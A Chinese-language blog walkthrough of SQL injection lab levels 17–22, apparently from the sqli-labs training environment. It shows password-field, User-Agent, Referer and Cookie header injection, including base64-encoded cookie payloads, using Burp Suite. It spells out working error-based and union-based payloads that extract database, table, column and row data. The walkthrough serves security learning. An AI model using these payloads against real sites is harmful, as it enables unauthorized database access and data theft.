可以看到这一关让你进行“密码重置”,我们这里首先随便输入一个账户和密码进行测试。我这里用户名输入1,密码输入1。观察页面回显:
可以看到页面回显对我们很不友好,对于一个搞网安的,这能忍?
我们进行注入点测试,先测试用户名这一栏有没有漏洞,我测试单引号为注入点,观察页面回显:
很显然,没用。那么我们就测试修改密码的输入框看看有没有,依旧输入单引号测试:
很显然,依旧没用。这里注意一下我为什么不使用其他注入点,其实一般情况下你输入单引号如果存在漏洞就报错了,因为单引号不匹配。当然你们可以去测试双引号为注入点的情况以及 ') 为注入点的情况等等。这里我以及做过测试了,都没用,不在赘述了。这个情况就说明两种情况:
1、在这两个输入框中对我们输入的单引号等进行了过滤
2、可能有前提条件限制,例如必须你输入了正确的用户才能进行下一步操作,如果输入的用户名不正确那么我们无论怎么修改密码都无济于事。
因为显示出了一个用户名“DhaKKan”,所以我们用它作为用户名进行尝试,看看它是不是正确的用户名。我们将其密码修改为1,观察页面回显:
可以看到出现了成功修改后的页面,说明用户名是没问题的,也证实了必须有正确的用户名才能进行密码修改。
接下来就是再次尝试注入点在哪儿,也就是找漏洞,我们首先查看用户名这里有没有注入点,输入单引号进行测试,观察页面回显:
发现还是不行,那就测试修改密码的地方看看行不行,输入单引号测试: 可以看到不仅回显了成功修改密码后的页面而且出现了SQL语句报错,说明此处存在注入点。且注入点就是单引号。
接下来我们首先看一下该数据库有多少列,在修改密码的地方输入语句:
1' order by 3 #
页面回显: 可以看到页面报错,说明列数小于3,我们继续测试,输入语句:
1' order by 1 #
页面回显: 可以看到也是报错,说明这一关就不能使用联合注入了,因为联合注入必须要用 order by 语句去测试有多少列,然后根据列数去写语句,这里显然不能使用联合注入。
不能使用联合注入的时候首先考虑报错注入,我们尝试一下报错注入。
这里我首先使用 extractvalue() 函数进行注入,在修改密码的地方输入语句:
1' and extractvalue(1,concat(0x7e,database())) #
可以看到成功爆破了数据库名字。
这里我使用 updatexml() 函数注入,在修改密码的地方输入语句:
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) #
可以看到回显了第一张表的名字,因为报错注入有输出限制,所以要使用 limit 语句。其余表名爆破方式一样,这里不在赘述。
在修改密码的地方输入语句:
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),3) #
可以看到爆破出了表 emails 中第一列的列名,其余列名爆破方法一样,这里不在赘述。
在修改密码的地方输入语句:
1' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #
页面回显: 可以看到爆破出了表 emails 中 id 列的第一个字段值,其余字段值方法一样,这里不在赘述。
从这几个语句可以看出来,我们输入的数据在和后台数据库进行交互的时候会首选判断我们输入的用户名是否存在,存在的话才可以进行修改密码的操作。
可以看到 uname 被一个函数 check_input() 修饰了,而 passwd 没有被修饰。而函数check_input () 的作用是过滤掉单引号以及进行数字类型的转换,验证输入的值是否为空。所以说我们之前在 uname 输入框中输入了单引号没有作用。
到这里第十七关就结束了。
可以看到这一关下面显示了我们的 IP 地址。我们首先去每个输入框中测试有没有注入点。先测试一下单引号:
可以看到并没有漏洞,其余像双引号,单引号带括号这种注入点我就不一一测试了,因为都不行,你们可以自己测试一下。
既然常规方法没有头绪的话,我们可以进行一下代码审计看看什么情况。
可以看到这一关中 uname 和 passwd 都被 check_input() 函数修饰了,这个函数的作用就是过滤单引号以及其他符号的。所以说无论我们在两个输入框怎么尝试注入也不行的原因。
接下来我们看这一条语句,明显是一个插入语句,但是插入的数据中出现了 uagent 。但是查看源码却没有发现对传入的 uagent 进行任何过滤,那么漏洞就在这里。
可以看到成功登录的页面回显了 IP 和 User-Agent。所以这里我们使用 User-Agent 注入。
接下来我们使用 Burp Suite 进行抓包,因为只有登录成功才能使页面回显出来 User-Agent ,所以我们要抓取登录成功时的包,页面中给了我们用户名 Dhakkan 我们就用这个用户名进行登录(密码是1) :
可以看到成功抓取到了登录成功时的包,接下来我们将其发送到 Repeater :
这里我们在左侧可以修改页面的 User-Agent、Referer、Cookie等数据并进行发送,在右侧可以实时观察修改之后页面的变化,十分方便。
这里我们首先把页面原本的 User-Agent 数据全部删除了,替换成我们的注入语句。这里我使用报错注入。
可以看到页面报错了,那注入点八成就是单引号。接下来输入语句:
' and extractvalue(1,concat(0x7e,database()))) #
细心的兄弟肯定发现我多了一个括号,这里我解释一下原因,首先我们查看源代码:
可以看到我们最终输入的注入语句是被带入到 VALUES 后面的语句中执行的,因此要闭合 VALUES 后面的括号,这也就是为什么要多加一个括号的原因,当我们不加括号的语句:
VALUES(' and extractvalue(1,concat(0x7e,database())) #','$IP','$uname')
可以看到有一个括号是没有闭合的,这样就会导致括号不必配报错,而不是 extractvalue() 函数报错,自然也就得不到我们要的数据。
可以看到成功爆破了数据库名字。
在 User-Agent 后输入语句:
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))) #
可以看到成功爆破了第一张表的名字,其余表名字的爆破方法一样,这里不在赘述。
在 User-Agent 后输入语句:
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)))) #
可以看到回显了表 emails 中第一列的列名,其余列名爆破方法一样,这里不在赘述。
在 User-Agent 后输入语句:
' and updatexml(1,concat(0x7e,(select id from emails limit 0,1)),3)) #
可以看到回显了表 emails 中列名为 id 的第一个字段值,爆破其余字段值方法一样,这里不在赘述。
注意页面的显示信息,有没有返回地址信息(IP)、cookie信息、referer信息等等,有返回的话就要想能不能使用BURP抓包实现HTTP头部注入。
到此第十八关就结束了。
发现和第十八关一摸一样,那八成是使用 Burp Suite 抓包进行爆破了,估计两个输入框都进行过滤了。进行代码审计看一下:
可以看到确实被过滤了,那么只能使用 Burp Suite 抓包进行注入了,我们首先看一下成功登录的页面显示什么:
可以看到显示了 IP 和 Referer 信息。一般来说页面回显什么信息,那么该信息一般就存在漏洞,我们在进行代码审计查看一下源码中对 Referer 数据的处理,有没有漏洞。
可以看到这里插入数据的时候插入了 Referer 数据,但是源码中没有对该数据进行过滤,那么我们的注入点就在这里。
因为只有在登录成功的时候才会回显 Referer 信息,所以我们要抓取登录成功时的包,用户名就使用页面给我们的 Dhakkan(密码为1):
接下来我们将原本的 Referer 信息全部替换为我们的注入语句。首先测试注入点,我这里输入单引号做测试: 可以看到页面报错了,那么单引号应该就是注入点,这里我使用报错注入。
在 Referer 后输入语句:
' and extractvalue(1,concat(0x7e,database()))) #
多加括号的原理和 UA 注入一样,大家不懂的可以看前面一关的讲解。
可以看到成功爆破了数据库名字。
在 Referer 后输入语句:
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))) #
可以看到爆破出了第一张表的名字,其余表名爆破方法一样,这里不在赘述。
在 Referer 后输入语句:
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)))) #
可以看到爆破出了表 emails 中第一列的名字,爆破其余列的名字方法一样,这里不在赘述。
在 Referer 后输入语句:
' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1)))) #
可以看到爆破出了表 emails 中 id 列的第一个字段值,其余字段值的爆破方法一样,这里不再赘述。
到此为止,第十九关就结束了。
可以看到不像前几关那样有明显的回显,我们输入单引号测试一下注入点:
可以看到输入框中无论怎么测试都会出现登录失败的页面,说明后台应该是过滤了特殊字符,我们进行代码审计看一下:
可以看到确实过滤了,那么在页面中直接输入语句注入这条路是断了,只能通过抓包了,我们再次进行代码审计看看哪儿有漏洞:
这一段代码表示当我们正常登录的时候页面会回显 COOKIE 的值,那么我们看看这里有没有漏洞,可以看到取值的时候是取的 cookee 的值然后进行回显,我们尝试找找当把 cookee 这个值传入的时候有没有漏洞:
可以看到这里就是给 cookee 这个数值赋值的语句,但是源代码中并没有对传入的数值做任何过滤,那么这里就是注入点,修改传入的 COOKIE 值从而进行注入。我这里使用报错注入。
在注入之前我们要理解网页中的 COOKIE 值包含什么,有什么作用。
Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息,是一个保存在客户机中的简单的文本文件, 这个文件与特定的 Web 文档关联在一起, 保存了该客户机访问这个 Web 文档时的信息, 当客户机再次访问这个 Web 文档时就会调用这些信息使用。由于 “Cookie” 具有可以保存在客户机上的神奇特性, 因此它可以帮助我们实现记录用户个人信息的功能。Cookie 保存的前提条件就是登录成功,这样网页才会根据我们的需求保存 Cookie。当网页保存了 Cookie 之后我们下次登录的时候就不需要输入账户和密码了,会直接登录。这样固然方便但是也造成了一定的安全问题,当有人获取了你的 Cookie 信息的时候就可以不需要账户和密码直接登录你的账号了。一般还是不要在网页中保存你的 Cookie 信息。
我们首先使用 Burp Suite 抓包,但是这一关的抓包和其余关有一点不一样,因为我们要抓到网页保存的 Cookie 信息,但是 Cookie 信息只有当我们成功登录某一个账号的时候才会保存,所以我们必须要成功登录某一个账号之后抓取登录后的包。方法就是登录成功后刷新一下页面,抓取刷新时的包:
这就是我抓到的包含 Cookie 信息的包,之后将其发送到 Repeater :
可以看到在左侧出现了页面保存的 Cookie 信息,这就是我们要注入的地方。
首先我们测试一下注入点,在 Cookie 值后边输入单引号做一下测试:
可以看到页面发生了报错,那么注入点应该就是单引号。
之后输入语句:
' and extractvalue(1,concat(0x7e,database())) #
可以看到成功爆破了数据库名。
在 Cookie 值后输入语句:
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) #
页面回显:
可以看到回显了第一张表的名字,其余表名的爆破方法一样,这里不在赘述。
在 Cookie 值后输入语句:
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) #
可以看到成功爆破了表 emails 中的第一列的名字。爆破其余列的名字的方法一样,这里不再赘述。
在 Cookie 值后输入语句:
' and extractvalue(1,concat(0x7e,(select id from emails limit 0,1))) #
可以看到页面回显了表 emails 中 id 列的第一个字段值,其余字段值的爆破方法一样,这里不在赘述。
到这里第二十关就结束了。
可以看到无论输入什么符号进行测试页面也只出现登录失败的回显,那应该是后台对我们输入的数据进行了过滤,进行代码审计看一下:
可以看到确实进行了过滤,那我们就只能考虑使用抓包了,我们再次进行代码审计尝试找一下漏洞:
可以看到和20关一样,属于 Cookie 注入。那么之后就进行抓包,还是抓取登录之后保存了 Cookie 信息的包:
可以发现 Cookie 值与前一关明显不一样了,直观的看上去就像一堆乱码,但其实这是使用了base-64编码 进行加密了。我们可以进行代码审计看一下加密语句:
这条语句就是加密语句,也就是说网页后台存储我们输入的 Cookie 信息的时候是加密存储的。
这一关只要讲我们输入的注入语句也用 base-64编码 加密就可以了,大家可以去网上搜一个加\解密的网页,把我们要注入的语句进行加密然后输入到 Cookie 值后面就可以。我这里使用报错注入。
给大家一个在线编解码的链接:https://c.runoob.com/front-end/693/
在 Cookie 值后输入使用 base-64编码 加密后的语句进行测试注入点是什么。
加密前:
dhakkan'
加密后:
ZGhha2thbic=
可以看到注入点应该是 ') 。
接下来在 Cookie 值后输入使用 base-64编码 加密后的语句:
加密前:
dhakkan') and extractvalue(1,concat(0x7e,database())) #
加密后:
ZGhha2thbicpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSkgIw==
可以看到成功爆破了数据库名字。
在 Cookie 值后输入使用 base-64编码 加密后的语句测试一下数据库列数:
加密前语句:
dhakkan') order by 4 #
加密后:
ZGhha2thbicpIG9yZGVyIGJ5IDQgIw==
说明列数小于4,测试一下3:
加密前语句:
dhakkan') order by 3 #
加密后:
ZGhha2thbicpIG9yZGVyIGJ5IDMgIw==
列数为3,接下来测试一下有没有显示位:
输入语句:
0') union select 1,2,3 #
加密后:
MCcpIHVuaW9uIHNlbGVjdCAxLDIsMyAj
页面回显: 可以看到页面存在显示位,可以使用联合注入,我这里就使用联合注入了。
输入语句:
0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
加密后:
MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyAj
输入语句:
0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' #
加密后:
MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2VtYWlscycgIw==
可以看到成功回显出了表 emails 中的列名,爆破其余表的列名只需要将表名字替换就可以,这里不在赘述。
输入语句:
0') union select 1,group_concat(id,email_id) ,3 from emails #
加密后:
MCcpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdChpZCxlbWFpbF9pZCkgLDMgZnJvbSBlbWFpbHMgIw==
可以看到爆破出了表 emails 中的字段值。
至此第21关就结束了。
这一关和21关操作都一样,只不过注入点换为了双引号,这里就不赘述了。
这一篇博客我主要讲了 HTTP 头部注入中的 UA、Referer、Cookie 注入以及 base-64编码 。如果有不会使用 Burp Suite 软件的也可以关注一下我哦,我后续会出相关的教程详细讲解如何使用。